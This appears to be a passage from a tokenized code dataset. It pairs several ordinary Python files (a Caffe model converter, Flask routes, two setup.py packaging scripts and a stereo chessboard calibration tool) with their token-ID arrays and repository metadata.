3319,
29915,
524,
2396,
525,
710,
29915,
1800,
13,
13,
1678,
822,
1243,
29918,
9910,
29918,
4914,
29918,
7039,
29918,
22017,
2459,
29898,
1311,
1125,
13,
4706,
9995,
3057,
263,
2999,
1897,
19508,
411,
5321,
12112,
8465,
15945,
29908,
13,
4706,
411,
1583,
29889,
9294,
29934,
1759,
267,
4597,
4548,
29898,
13,
18884,
8960,
29892,
376,
13919,
716,
1897,
2983,
526,
451,
5412,
29908,
1125,
13,
9651,
1583,
29889,
2557,
29889,
1267,
420,
29918,
13099,
3319,
29915,
710,
2396,
525,
2312,
742,
13,
462,
462,
539,
525,
524,
2396,
525,
3706,
742,
13,
462,
462,
539,
525,
7411,
2396,
525,
2312,
29915,
1800,
13,
9651,
1583,
29889,
2557,
29889,
1144,
1103,
580,
13,
13,
1678,
822,
1243,
29918,
1267,
420,
29918,
735,
15423,
29918,
978,
29898,
1311,
1125,
13,
4706,
9995,
3057,
4325,
11500,
304,
385,
5923,
1024,
4436,
15945,
29908,
13,
4706,
411,
1583,
29889,
9294,
29934,
1759,
267,
4597,
4548,
29898,
13,
18884,
8960,
29892,
376,
13919,
716,
1897,
1024,
525,
710,
29915,
5321,
2247,
29908,
1125,
13,
9651,
1583,
29889,
2557,
29889,
1267,
420,
29918,
13099,
3319,
29915,
524,
2396,
525,
710,
29915,
1800,
13,
9651,
1583,
29889,
2557,
29889,
1144,
1103,
580,
13,
13,
1678,
822,
1243,
29918,
1267,
420,
29918,
5464,
29918,
735,
9696,
29898,
1311,
1125,
13,
4706,
9995,
3057,
4325,
11500,
263,
1661,
29899,
735,
9696,
1897,
8465,
15945,
29908,
13,
4706,
411,
1583,
29889,
9294,
29934,
1759,
267,
4597,
4548,
29898,
2451,
29892,
376,
13919,
1897,
29908,
1125,
13,
9651,
1583,
29889,
2557,
29889,
1267,
420,
29918,
13099,
3319,
29915,
1217,
29899,
14565,
29899,
978,
2396,
525,
1333,
29899,
29874,
29899,
978,
29915,
1800,
13,
13,
1678,
822,
1243,
29918,
1267,
420,
29918,
2541,
29918,
18732,
29918,
3090,
21706,
29898,
1311,
1125,
13,
4706,
9995,
3057,
4325,
11500,
411,
4266,
4890,
4436,
15945,
29908,
13,
4706,
411,
1583,
29889,
9294,
29934,
1759,
267,
4597,
4548,
29898,
2451,
29892,
376,
2312,
29899,
21574,
29908,
1125,
13,
9651,
1583,
29889,
2557,
29889,
1267,
420,
29918,
13099,
29898,
13,
18884,
11117,
524,
2396,
525,
8208,
22769,
1738,
29992,
29937,
29938,
29995,
29985,
29987,
16395,
7897,
28842,
29632,
29961,
1966,
29962,
7893,
29915,
1800,
13,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
443,
27958,
29889,
3396,
580,
13,
2
] |
modelutils/caffe/extract_prototxt_from_caffemodel.py | shonohs/modelutils | 1 | 172173 | <filename>modelutils/caffe/extract_prototxt_from_caffemodel.py<gh_stars>1-10
"""Extract prototxt file from caffemodel file.
"""
import argparse
import pathlib
from caffe.proto import caffe_pb2
def extract_prototxt_from_caffemodel(caffemodel_filepath, output_prototxt_filepath):
model = caffe_pb2.NetParameter()
model.ParseFromString(caffemodel_filepath.read_bytes())
# Remove weights from the model.
for layer in model.layer:
layer.ClearField('phase')
if hasattr(layer, 'blobs'):
del layer.blobs[:]
# Remove Split layers from the model.
top_aliases = {}
split_layers = [layer for layer in model.layer if layer.type == 'Split']
non_split_layers = [layer for layer in model.layer if layer.type != 'Split']
for layer in split_layers:
assert len(layer.bottom) == 1
for top in layer.top:
top_aliases[top] = layer.bottom[0]
del model.layer[:]
model.layer.extend(non_split_layers)
# Rename the aliases.
for layer in model.layer:
for i, bottom in enumerate(layer.bottom):
if bottom in top_aliases:
layer.bottom[i] = top_aliases[bottom]
output_prototxt_filepath.write_text(str(model))
def main():
parser = argparse.ArgumentParser()
parser.add_argument('caffemodel_filepath', type=pathlib.Path)
parser.add_argument('output_filepath', type=pathlib.Path)
args = parser.parse_args()
if args.output_filepath.exists():
parser.error(f"{args.output_filepath} already exists.")
extract_prototxt_from_caffemodel(args.caffemodel_filepath, args.output_filepath)
if __name__ == '__main__':
main()
| [
1,
529,
9507,
29958,
4299,
13239,
29914,
1113,
17615,
29914,
21111,
29918,
771,
4260,
486,
29918,
3166,
29918,
1113,
600,
331,
27224,
29889,
2272,
29966,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
15945,
29908,
5647,
1461,
410,
4260,
486,
934,
515,
274,
3470,
331,
27224,
934,
29889,
13,
15945,
29908,
13,
5215,
1852,
5510,
13,
5215,
2224,
1982,
13,
3166,
274,
3470,
29872,
29889,
17529,
1053,
274,
3470,
29872,
29918,
24381,
29906,
13,
13,
13,
1753,
6597,
29918,
771,
4260,
486,
29918,
3166,
29918,
1113,
600,
331,
27224,
29898,
1113,
600,
331,
27224,
29918,
1445,
2084,
29892,
1962,
29918,
771,
4260,
486,
29918,
1445,
2084,
1125,
13,
1678,
1904,
353,
274,
3470,
29872,
29918,
24381,
29906,
29889,
6779,
9329,
580,
13,
1678,
1904,
29889,
12914,
4591,
1231,
29898,
1113,
600,
331,
27224,
29918,
1445,
2084,
29889,
949,
29918,
13193,
3101,
13,
13,
1678,
396,
15154,
18177,
515,
278,
1904,
29889,
13,
1678,
363,
7546,
297,
1904,
29889,
13148,
29901,
13,
4706,
7546,
29889,
18759,
3073,
877,
21646,
1495,
13,
4706,
565,
756,
5552,
29898,
13148,
29892,
525,
10054,
29879,
29374,
13,
9651,
628,
7546,
29889,
10054,
29879,
7503,
29962,
13,
13,
1678,
396,
15154,
26178,
15359,
515,
278,
1904,
29889,
13,
1678,
2246,
29918,
2606,
2129,
353,
6571,
13,
1678,
6219,
29918,
29277,
353,
518,
13148,
363,
7546,
297,
1904,
29889,
13148,
565,
7546,
29889,
1853,
1275,
525,
18772,
2033,
13,
1678,
1661,
29918,
5451,
29918,
29277,
353,
518,
13148,
363,
7546,
297,
1904,
29889,
13148,
565,
7546,
29889,
1853,
2804,
525,
18772,
2033,
13,
1678,
363,
7546,
297,
6219,
29918,
29277,
29901,
13,
4706,
4974,
7431,
29898,
13148,
29889,
8968,
29897,
1275,
29871,
29896,
13,
4706,
363,
2246,
297,
7546,
29889,
3332,
29901,
13,
9651,
2246,
29918,
2606,
2129,
29961,
3332,
29962,
353,
7546,
29889,
8968,
29961,
29900,
29962,
13,
1678,
628,
1904,
29889,
13148,
7503,
29962,
13,
1678,
1904,
29889,
13148,
29889,
21843,
29898,
5464,
29918,
5451,
29918,
29277,
29897,
13,
13,
1678,
396,
390,
3871,
278,
14430,
2129,
29889,
13,
1678,
363,
7546,
297,
1904,
29889,
13148,
29901,
13,
4706,
363,
474,
29892,
5970,
297,
26985,
29898,
13148,
29889,
8968,
1125,
13,
9651,
565,
5970,
297,
2246,
29918,
2606,
2129,
29901,
13,
18884,
7546,
29889,
8968,
29961,
29875,
29962,
353,
2246,
29918,
2606,
2129,
29961,
8968,
29962,
13,
13,
1678,
1962,
29918,
771,
4260,
486,
29918,
1445,
2084,
29889,
3539,
29918,
726,
29898,
710,
29898,
4299,
876,
13,
13,
13,
1753,
1667,
7295,
13,
1678,
13812,
353,
1852,
5510,
29889,
15730,
11726,
580,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
1113,
600,
331,
27224,
29918,
1445,
2084,
742,
1134,
29922,
2084,
1982,
29889,
2605,
29897,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
4905,
29918,
1445,
2084,
742,
1134,
29922,
2084,
1982,
29889,
2605,
29897,
13,
13,
1678,
6389,
353,
13812,
29889,
5510,
29918,
5085,
580,
13,
13,
1678,
565,
6389,
29889,
4905,
29918,
1445,
2084,
29889,
9933,
7295,
13,
4706,
13812,
29889,
2704,
29898,
29888,
29908,
29912,
5085,
29889,
4905,
29918,
1445,
2084,
29913,
2307,
4864,
23157,
13,
13,
1678,
6597,
29918,
771,
4260,
486,
29918,
3166,
29918,
1113,
600,
331,
27224,
29898,
5085,
29889,
1113,
600,
331,
27224,
29918,
1445,
2084,
29892,
6389,
29889,
4905,
29918,
1445,
2084,
29897,
13,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
1667,
580,
13,
2
] |
packages/dm_base/blueprints/base/routes.py | jdelrue/digital_me | 0 | 79760 | <filename>packages/dm_base/blueprints/base/routes.py
from flask import render_template, redirect, request, url_for
from jumpscale import j
from blueprints.base import blueprint
# from blueprints import login_manager
login_manager = j.servers.web.latest.loader.login_manager
# from blueprints import db
# from blueprints.base.models import User
# from flask_login import (
# current_user,
# login_required,
# login_user,
# logout_user
# )
# from .forms import LoginForm, CreateAccountForm
# @blueprint.route('/')
# def route_default():
# return redirect(url_for('base_blueprint.login'))
# @login_required
@blueprint.route('/githook', methods=['POST'])
def route_github():
d=request.json
name=d["repository"]['full_name']
#will be something like 'threefoldfoundation/info_foundation'
account,repo=name.split("/",1)
print("GITHUB:%s:%s"%(account,repo))
return ("OK")
@blueprint.route('/<template>')
def route_template(template):
if template=="favicon.ico":
return url_for('static',filename="images/favicon.png")
return render_template(template + '.html')
# @blueprint.route('/fixed_<template>')
# @login_required
# def route_fixed_template(template):
# return render_template('fixed/fixed_{}.html'.format(template))
# @blueprint.route('/page_<error>')
# def route_errors(error):
# return render_template('errors/page_{}.html'.format(error))
# ## Login & Registration
# @blueprint.route('/login', methods=['GET', 'POST'])
# def login():
# login_form = LoginForm(request.form)
# create_account_form = CreateAccountForm(request.form)
# if 'login' in request.form:
# username = str(request.form['username'])
# password = str(request.form['password'])
# user = User.query.filter_by(username=username).first()
# if user and password == user.password:
# login_user(user)
# return redirect(url_for('base_blueprint.route_default'))
# return render_template('errors/page_403.html')
# elif 'create_account' in request.form:
# login_form = LoginForm(request.form)
# user = User(**request.form)
# db.session.add(user)
# db.session.commit()
# return redirect(url_for('base_blueprint.login'))
# if not current_user.is_authenticated:
# return render_template(
# 'login/login.html',
# login_form=login_form,
# create_account_form=create_account_form
# )
# return redirect(url_for('home_blueprint.index'))
# @blueprint.route('/logout')
# @login_required
# def logout():
# logout_user()
# return redirect(url_for('base_blueprint.login'))
# @blueprint.route('/shutdown')
# def shutdown():
# func = request.environ.get('werkzeug.server.shutdown')
# if func is None:
# raise RuntimeError('Not running with the Werkzeug Server')
# func()
# return 'Server shutting down...'
# ## Errors
# @login_manager.unauthorized_handler
# def unauthorized_handler():
# return render_template('errors/page_403.html'), 403
@blueprint.errorhandler(403)
def access_forbidden(error):
return render_template('errors/page_403.html'), 403
@blueprint.errorhandler(404)
def not_found_error(error):
return render_template('errors/page_404.html'), 404
| [
1,
529,
9507,
29958,
8318,
29914,
18933,
29918,
3188,
29914,
9539,
2158,
29879,
29914,
3188,
29914,
27894,
29889,
2272,
13,
3166,
29784,
1053,
4050,
29918,
6886,
29892,
6684,
29892,
2009,
29892,
3142,
29918,
1454,
13,
3166,
432,
17204,
29883,
744,
1053,
432,
13,
3166,
7254,
2158,
29879,
29889,
3188,
1053,
7254,
2158,
13,
29937,
515,
7254,
2158,
29879,
1053,
6464,
29918,
12847,
13,
13,
7507,
29918,
12847,
353,
432,
29889,
643,
874,
29889,
2676,
29889,
12333,
29889,
12657,
29889,
7507,
29918,
12847,
13,
13,
29937,
515,
7254,
2158,
29879,
1053,
4833,
13,
29937,
515,
7254,
2158,
29879,
29889,
3188,
29889,
9794,
1053,
4911,
13,
13,
13,
29937,
515,
29784,
29918,
7507,
1053,
313,
13,
29937,
268,
1857,
29918,
1792,
29892,
13,
29937,
268,
6464,
29918,
12403,
29892,
13,
29937,
268,
6464,
29918,
1792,
29892,
13,
29937,
268,
1480,
449,
29918,
1792,
13,
29937,
1723,
13,
29937,
515,
869,
9514,
1053,
19130,
2500,
29892,
6204,
10601,
2500,
13,
13,
13,
13,
13,
29937,
732,
9539,
2158,
29889,
13134,
11219,
1495,
13,
29937,
822,
5782,
29918,
4381,
7295,
13,
29937,
268,
736,
6684,
29898,
2271,
29918,
1454,
877,
3188,
29918,
9539,
2158,
29889,
7507,
8785,
13,
13,
29937,
732,
7507,
29918,
12403,
13,
29992,
9539,
2158,
29889,
13134,
11219,
29887,
389,
2550,
742,
3519,
29922,
1839,
5438,
11287,
13,
1753,
5782,
29918,
3292,
7295,
13,
1678,
270,
29922,
3827,
29889,
3126,
13,
1678,
1024,
29922,
29881,
3366,
19033,
3108,
1839,
8159,
29918,
978,
2033,
13,
1678,
396,
14043,
367,
1554,
763,
525,
17536,
8771,
11940,
362,
29914,
3888,
29918,
11940,
362,
29915,
13,
1678,
3633,
29892,
20095,
29922,
978,
29889,
5451,
11974,
613,
29896,
29897,
13,
1678,
1596,
703,
29954,
13054,
7466,
16664,
29879,
16664,
29879,
29908,
29995,
29898,
10149,
29892,
20095,
876,
13,
1678,
736,
4852,
8949,
1159,
13,
13,
29992,
9539,
2158,
29889,
13134,
11219,
29966,
6886,
29958,
1495,
13,
1753,
5782,
29918,
6886,
29898,
6886,
1125,
13,
1678,
565,
4472,
26359,
29888,
485,
4144,
29889,
1417,
1115,
13,
4706,
736,
3142,
29918,
1454,
877,
7959,
742,
9507,
543,
8346,
29914,
29888,
485,
4144,
29889,
2732,
1159,
13,
1678,
736,
4050,
29918,
6886,
29898,
6886,
718,
15300,
1420,
1495,
13,
13,
13,
29937,
732,
9539,
2158,
29889,
13134,
11219,
20227,
29918,
29966,
6886,
29958,
1495,
13,
29937,
732,
7507,
29918,
12403,
13,
29937,
822,
5782,
29918,
20227,
29918,
6886,
29898,
6886,
1125,
13,
29937,
268,
736,
4050,
29918,
6886,
877,
20227,
29914,
20227,
648,
1836,
1420,
4286,
4830,
29898,
6886,
876,
13,
13,
13,
29937,
732,
9539,
2158,
29889,
13134,
11219,
3488,
29918,
29966,
2704,
29958,
1495,
13,
29937,
822,
5782,
29918,
12523,
29898,
2704,
1125,
13,
29937,
268,
736,
4050,
29918,
6886,
877,
12523,
29914,
3488,
648,
1836,
1420,
4286,
4830,
29898,
2704,
876,
13,
13,
29937,
444,
19130,
669,
2169,
8306,
13,
13,
13,
29937,
732,
9539,
2158,
29889,
13134,
11219,
7507,
742,
3519,
29922,
1839,
7194,
742,
525,
5438,
11287,
13,
29937,
822,
6464,
7295,
13,
29937,
268,
6464,
29918,
689,
353,
19130,
2500,
29898,
3827,
29889,
689,
29897,
13,
29937,
268,
1653,
29918,
10149,
29918,
689,
353,
6204,
10601,
2500,
29898,
3827,
29889,
689,
29897,
13,
29937,
268,
565,
525,
7507,
29915,
297,
2009,
29889,
689,
29901,
13,
29937,
308,
8952,
353,
851,
29898,
3827,
29889,
689,
1839,
6786,
11287,
13,
29937,
308,
4800,
353,
851,
29898,
3827,
29889,
689,
1839,
5630,
11287,
13,
29937,
308,
1404,
353,
4911,
29889,
1972,
29889,
4572,
29918,
1609,
29898,
6786,
29922,
6786,
467,
4102,
580,
13,
29937,
308,
565,
1404,
322,
4800,
1275,
1404,
29889,
5630,
29901,
13,
29937,
632,
6464,
29918,
1792,
29898,
1792,
29897,
13,
29937,
632,
736,
6684,
29898,
2271,
29918,
1454,
877,
3188,
29918,
9539,
2158,
29889,
13134,
29918,
4381,
8785,
13,
29937,
308,
736,
4050,
29918,
6886,
877,
12523,
29914,
3488,
29918,
29946,
29900,
29941,
29889,
1420,
1495,
13,
29937,
268,
25342,
525,
3258,
29918,
10149,
29915,
297,
2009,
29889,
689,
29901,
13,
29937,
308,
6464,
29918,
689,
353,
19130,
2500,
29898,
3827,
29889,
689,
29897,
13,
29937,
308,
1404,
353,
4911,
29898,
1068,
3827,
29889,
689,
29897,
13,
29937,
308,
4833,
29889,
7924,
29889,
1202,
29898,
1792,
29897,
13,
29937,
308,
4833,
29889,
7924,
29889,
15060,
580,
13,
29937,
308,
736,
6684,
29898,
2271,
29918,
1454,
877,
3188,
29918,
9539,
2158,
29889,
7507,
8785,
13,
29937,
268,
565,
451,
1857,
29918,
1792,
29889,
275,
29918,
27218,
630,
29901,
13,
29937,
308,
736,
4050,
29918,
6886,
29898,
13,
29937,
632,
525,
7507,
29914,
7507,
29889,
1420,
742,
13,
29937,
632,
6464,
29918,
689,
29922,
7507,
29918,
689,
29892,
13,
29937,
632,
1653,
29918,
10149,
29918,
689,
29922,
3258,
29918,
10149,
29918,
689,
13,
29937,
308,
1723,
13,
29937,
268,
736,
6684,
29898,
2271,
29918,
1454,
877,
5184,
29918,
9539,
2158,
29889,
2248,
8785,
13,
13,
13,
29937,
732,
9539,
2158,
29889,
13134,
11219,
1188,
449,
1495,
13,
29937,
732,
7507,
29918,
12403,
13,
29937,
822,
1480,
449,
7295,
13,
29937,
268,
1480,
449,
29918,
1792,
580,
13,
29937,
268,
736,
6684,
29898,
2271,
29918,
1454,
877,
3188,
29918,
9539,
2158,
29889,
7507,
8785,
13,
13,
13,
29937,
732,
9539,
2158,
29889,
13134,
11219,
845,
329,
3204,
1495,
13,
29937,
822,
12522,
3204,
7295,
13,
29937,
268,
3653,
353,
2009,
29889,
21813,
29889,
657,
877,
9888,
13289,
29889,
2974,
29889,
845,
329,
3204,
1495,
13,
29937,
268,
565,
3653,
338,
6213,
29901,
13,
29937,
308,
12020,
24875,
2392,
877,
3664,
2734,
411,
278,
15492,
13289,
5656,
1495,
13,
29937,
268,
3653,
580,
13,
29937,
268,
736,
525,
6004,
12522,
1259,
1623,
856,
29915,
13,
13,
29937,
444,
4829,
29879,
13,
13,
13,
29937,
732,
7507,
29918,
12847,
29889,
348,
8921,
1891,
29918,
13789,
13,
29937,
822,
1185,
329,
2015,
1891,
29918,
13789,
7295,
13,
29937,
268,
736,
4050,
29918,
6886,
877,
12523,
29914,
3488,
29918,
29946,
29900,
29941,
29889,
1420,
5477,
29871,
29946,
29900,
29941,
13,
13,
13,
29992,
9539,
2158,
29889,
2704,
13789,
29898,
29946,
29900,
29941,
29897,
13,
1753,
2130,
29918,
1454,
29890,
4215,
29898,
2704,
1125,
13,
1678,
736,
4050,
29918,
6886,
877,
12523,
29914,
3488,
29918,
29946,
29900,
29941,
29889,
1420,
5477,
29871,
29946,
29900,
29941,
13,
13,
13,
29992,
9539,
2158,
29889,
2704,
13789,
29898,
29946,
29900,
29946,
29897,
13,
1753,
451,
29918,
11940,
29918,
2704,
29898,
2704,
1125,
13,
1678,
736,
4050,
29918,
6886,
877,
12523,
29914,
3488,
29918,
29946,
29900,
29946,
29889,
1420,
5477,
29871,
29946,
29900,
29946,
13,
2
] |
setup.py | Knio/treecat | 6 | 190165 | from setuptools import setup
import imp
_version = imp.load_source("treecat._version", "treecat/_version.py")
setup(
name='treecat',
version=_version.__version__,
author='<NAME>',
author_email='<EMAIL>',
license='MIT',
url='https://github.com/Knio/treecat',
description='Displays a tree view of files and their contents',
packages=['treecat'],
keywords='tool file',
include_package_data = True,
scripts = ['tcat'],
install_requires = ['colorama', 'py'],
classifiers=[
'Environment :: Console',
'Intended Audience :: Developers',
'Intended Audience :: System Administrators',
'Intended Audience :: End Users/Desktop',
'License :: OSI Approved :: MIT License',
'Operating System :: OS Independent',
'Programming Language :: Python',
'Programming Language :: Python :: 3',
'Topic :: Desktop Environment :: File Managers',
'Topic :: System :: Filesystems',
'Topic :: Utilities',
]
)
| [
1,
515,
731,
21245,
8789,
1053,
6230,
13,
13,
5215,
2411,
13,
29918,
3259,
353,
2411,
29889,
1359,
29918,
4993,
703,
2484,
687,
271,
3032,
3259,
613,
376,
2484,
687,
271,
19891,
3259,
29889,
2272,
1159,
13,
13,
14669,
29898,
13,
1678,
1024,
2433,
2484,
687,
271,
742,
13,
1678,
1873,
29922,
29918,
3259,
17255,
3259,
1649,
29892,
13,
1678,
4148,
2433,
29966,
5813,
29958,
742,
13,
1678,
4148,
29918,
5269,
2433,
29966,
26862,
6227,
29958,
742,
13,
1678,
19405,
2433,
26349,
742,
13,
1678,
3142,
2433,
991,
597,
3292,
29889,
510,
29914,
29968,
17592,
29914,
2484,
687,
271,
742,
13,
13,
1678,
6139,
2433,
4205,
12922,
263,
5447,
1776,
310,
2066,
322,
1009,
8118,
742,
13,
1678,
9741,
29922,
1839,
2484,
687,
271,
7464,
13,
1678,
29361,
2433,
10154,
934,
742,
13,
1678,
3160,
29918,
5113,
29918,
1272,
353,
5852,
29892,
13,
13,
1678,
12078,
353,
6024,
29873,
4117,
7464,
13,
13,
1678,
2601,
29918,
276,
339,
2658,
353,
6024,
2780,
3304,
742,
525,
2272,
7464,
13,
13,
1678,
770,
14903,
11759,
13,
4706,
525,
18649,
4761,
9405,
742,
13,
4706,
525,
2928,
2760,
319,
4749,
663,
4761,
10682,
414,
742,
13,
4706,
525,
2928,
2760,
319,
4749,
663,
4761,
2184,
24510,
4097,
742,
13,
4706,
525,
2928,
2760,
319,
4749,
663,
4761,
2796,
23861,
29914,
17600,
742,
13,
4706,
525,
29931,
293,
1947,
4761,
438,
5425,
28268,
1490,
4761,
341,
1806,
19245,
742,
13,
4706,
525,
7094,
1218,
2184,
4761,
6570,
25266,
742,
13,
4706,
525,
9283,
4056,
17088,
4761,
5132,
742,
13,
4706,
525,
9283,
4056,
17088,
4761,
5132,
4761,
29871,
29941,
742,
13,
4706,
525,
7031,
293,
4761,
2726,
6883,
16738,
4761,
3497,
2315,
18150,
742,
13,
4706,
525,
7031,
293,
4761,
2184,
4761,
12745,
973,
29879,
742,
13,
4706,
525,
7031,
293,
4761,
22310,
1907,
742,
13,
1678,
4514,
13,
29897,
13,
2
] |
setup.py | SignalOceanSdk/SignalSDK | 10 | 55697 | from setuptools import setup, find_packages
from os import path
import re
def read_file(file_name: str) -> str:
here = path.abspath(path.dirname(__file__))
with open(path.join(here, file_name), encoding="utf-8") as f:
return f.read()
long_description = read_file("README.md")
version = re.sub("\s+", "", read_file("version.txt"))
setup(
name="signal-ocean",
version=version,
description="Access Signal Ocean Platform data using Python.",
long_description=long_description,
long_description_content_type="text/markdown",
author="Signal Ocean Developers",
author_email="<EMAIL>",
license="Apache 2.0",
url="https://apis.signalocean.com/",
packages=find_packages(exclude=["tests", "tests.*"]),
python_requires=">=3.7",
install_requires=[
"requests>=2.23.0,<3",
"python-dateutil>=2.8.1,<3",
"pandas>=1.0.3,<2",
],
classifiers=[
"Development Status :: 4 - Beta",
"Programming Language :: Python :: 3.7",
"Programming Language :: Python :: 3.8",
"Programming Language :: Python :: 3.9",
"License :: OSI Approved :: Apache Software License",
],
project_urls={
"The Signal Group": "https://www.thesignalgroup.com/",
"Signal Ocean": "https://www.signalocean.com/",
"The Signal Ocean Platform": "https://app.signalocean.com",
},
)
| [
1,
515,
731,
21245,
8789,
1053,
6230,
29892,
1284,
29918,
8318,
13,
3166,
2897,
1053,
2224,
13,
5215,
337,
13,
13,
13,
1753,
1303,
29918,
1445,
29898,
1445,
29918,
978,
29901,
851,
29897,
1599,
851,
29901,
13,
1678,
1244,
353,
2224,
29889,
370,
1028,
493,
29898,
2084,
29889,
25721,
22168,
1445,
1649,
876,
13,
1678,
411,
1722,
29898,
2084,
29889,
7122,
29898,
4150,
29892,
934,
29918,
978,
511,
8025,
543,
9420,
29899,
29947,
1159,
408,
285,
29901,
13,
4706,
736,
285,
29889,
949,
580,
13,
13,
13,
5426,
29918,
8216,
353,
1303,
29918,
1445,
703,
16310,
2303,
29889,
3487,
1159,
13,
3259,
353,
337,
29889,
1491,
14182,
29879,
29974,
613,
12633,
1303,
29918,
1445,
703,
3259,
29889,
3945,
5783,
13,
13,
14669,
29898,
13,
1678,
1024,
543,
25436,
29899,
29877,
11956,
613,
13,
1678,
1873,
29922,
3259,
29892,
13,
1678,
6139,
543,
6638,
9954,
284,
21091,
28096,
848,
773,
5132,
19602,
13,
1678,
1472,
29918,
8216,
29922,
5426,
29918,
8216,
29892,
13,
1678,
1472,
29918,
8216,
29918,
3051,
29918,
1853,
543,
726,
29914,
3502,
3204,
613,
13,
1678,
4148,
543,
10140,
284,
21091,
10682,
414,
613,
13,
1678,
4148,
29918,
5269,
543,
29966,
26862,
6227,
28341,
13,
1678,
19405,
543,
17396,
1829,
29871,
29906,
29889,
29900,
613,
13,
1678,
3142,
543,
991,
597,
11355,
29889,
4530,
7003,
11956,
29889,
510,
29914,
613,
13,
1678,
9741,
29922,
2886,
29918,
8318,
29898,
735,
2325,
29922,
3366,
21150,
613,
376,
21150,
5575,
3108,
511,
13,
1678,
3017,
29918,
276,
339,
2658,
543,
18572,
29941,
29889,
29955,
613,
13,
1678,
2601,
29918,
276,
339,
2658,
11759,
13,
4706,
376,
24830,
18572,
29906,
29889,
29906,
29941,
29889,
29900,
29892,
29966,
29941,
613,
13,
4706,
376,
4691,
29899,
1256,
4422,
18572,
29906,
29889,
29947,
29889,
29896,
29892,
29966,
29941,
613,
13,
4706,
376,
15112,
18572,
29896,
29889,
29900,
29889,
29941,
29892,
29966,
29906,
613,
13,
1678,
21251,
13,
1678,
770,
14903,
11759,
13,
4706,
376,
21956,
358,
16034,
4761,
29871,
29946,
448,
350,
1187,
613,
13,
4706,
376,
9283,
4056,
17088,
4761,
5132,
4761,
29871,
29941,
29889,
29955,
613,
13,
4706,
376,
9283,
4056,
17088,
4761,
5132,
4761,
29871,
29941,
29889,
29947,
613,
13,
4706,
376,
9283,
4056,
17088,
4761,
5132,
4761,
29871,
29941,
29889,
29929,
613,
13,
4706,
376,
29931,
293,
1947,
4761,
438,
5425,
28268,
1490,
4761,
13380,
18540,
19245,
613,
13,
1678,
21251,
13,
1678,
2060,
29918,
26045,
3790,
13,
4706,
376,
1576,
9954,
284,
6431,
1115,
376,
991,
597,
1636,
29889,
26041,
647,
284,
2972,
29889,
510,
29914,
613,
13,
4706,
376,
10140,
284,
21091,
1115,
376,
991,
597,
1636,
29889,
4530,
7003,
11956,
29889,
510,
29914,
613,
13,
4706,
376,
1576,
9954,
284,
21091,
28096,
1115,
376,
991,
597,
932,
29889,
4530,
7003,
11956,
29889,
510,
613,
13,
1678,
2981,
13,
29897,
13,
2
] |
src/rakali/cli/find_chessboards_stereo_live.py | sthysel/rakali | 6 | 76264 | """
Find chessboards in both frames of a stereo feed
"""
import logging
from pathlib import Path
import click
import cv2 as cv
import numpy as np
from rakali import VideoPlayer
from rakali.annotate import add_frame_labels
from rakali.camera.chessboard import ChessboardFinder
from rakali.stereo.reader import StereoCamera
from rakali.video import go
from rakali.video.writer import get_stereo_writer
logging.basicConfig(level=logging.DEBUG)
logger = logging.getLogger(__name__)
NVR = "192.168.1.20"
@click.command(context_settings=dict(max_content_width=120))
@click.version_option()
@click.option(
"-l",
"--left-eye",
help="Left eye, can be local USB cam (0|1|2..) or IP cam rtsp URL or file",
default=f"http://{NVR}/axis-cgi/mjpg/video.cgi?&camera=1",
show_default=True,
)
@click.option(
"-r",
"--right-eye",
help="Right eye, can be local USB cam (0|1|2..) or IP cam rtsp URL or file",
default=f"http://{NVR}/axis-cgi/mjpg/video.cgi?&camera=2",
show_default=True,
)
@click.option(
"-o",
"--output-folder",
help="Chessboard images store folder",
default="~/rakali/stereo/chessboards/",
show_default=True,
)
@click.option(
"--chessboard-rows",
help="Chessboard rows",
default=9,
show_default=True,
)
@click.option(
"--chessboard-columns",
help="Chessboard columns",
default=6,
show_default=True,
)
def cli(left_eye, right_eye, output_folder, chessboard_rows, chessboard_columns):
"""
Find chessboard calibration images in both frames of the stereo pair
"""
out_path = Path(output_folder).expanduser()
out_path.mkdir(parents=True, exist_ok=True)
chessboard_size = (chessboard_columns, chessboard_rows)
finder = ChessboardFinder(chessboard_size)
stream = StereoCamera(
left_src=left_eye,
right_src=right_eye,
)
player = VideoPlayer()
with player, stream:
original_writer = get_stereo_writer(stream, file_name="original_stereo.avi")
annotated_writer = get_stereo_writer(stream, file_name="annotated_stereo.avi")
frame_count = 0
good_count = 0
while go():
ok, frames = stream.read()
frame_count += 1
if ok:
good = []
annotated = []
# so we have a good stereo frame, now inspect each frame and if
# a chessboard is found in each, save the pair to disk.
for frame in frames.frames():
labels = [f"Stereo Calibrate {frame_count}"]
display_frame = frame.copy()
height, width, channels = display_frame.shape
has_corners, corners = finder.corners(frame)
if has_corners:
good.append(True)
finder.draw(display_frame, corners)
labels.append("CHESSBOARD")
else:
good.append(False)
labels.append("NO CHESSBOARD FOR YOU")
add_frame_labels(display_frame, labels=labels)
annotated.append(display_frame)
if all(good):
# both frames have verified chessboards save frames for analysis
for side, frame in frames.calibration_named_frames():
cv.imwrite(f"{out_path}/{side}_{good_count:05}.jpg", frame)
good_count += 1
player.show(np.hstack(annotated))
annotated_writer.stereo_write(annotated)
original_writer.stereo_write(frames.frames())
| [
1,
9995,
13,
12542,
521,
404,
24691,
297,
1716,
16608,
310,
263,
269,
12358,
29877,
8343,
13,
15945,
29908,
13,
13,
5215,
12183,
13,
3166,
2224,
1982,
1053,
10802,
13,
13,
5215,
2828,
13,
5215,
13850,
29906,
408,
13850,
13,
5215,
12655,
408,
7442,
13,
3166,
1153,
29895,
2606,
1053,
13987,
9075,
13,
3166,
1153,
29895,
2606,
29889,
6735,
403,
1053,
788,
29918,
2557,
29918,
21134,
13,
3166,
1153,
29895,
2606,
29889,
26065,
29889,
305,
404,
3377,
1053,
678,
404,
3377,
29943,
4995,
13,
3166,
1153,
29895,
2606,
29889,
303,
406,
29877,
29889,
16950,
1053,
317,
12358,
29877,
20717,
13,
3166,
1153,
29895,
2606,
29889,
9641,
1053,
748,
13,
3166,
1153,
29895,
2606,
29889,
9641,
29889,
13236,
1053,
679,
29918,
303,
406,
29877,
29918,
13236,
13,
13,
21027,
29889,
16121,
3991,
29898,
5563,
29922,
21027,
29889,
18525,
29897,
13,
13,
21707,
353,
12183,
29889,
657,
16363,
22168,
978,
1649,
29897,
13,
13,
29940,
29963,
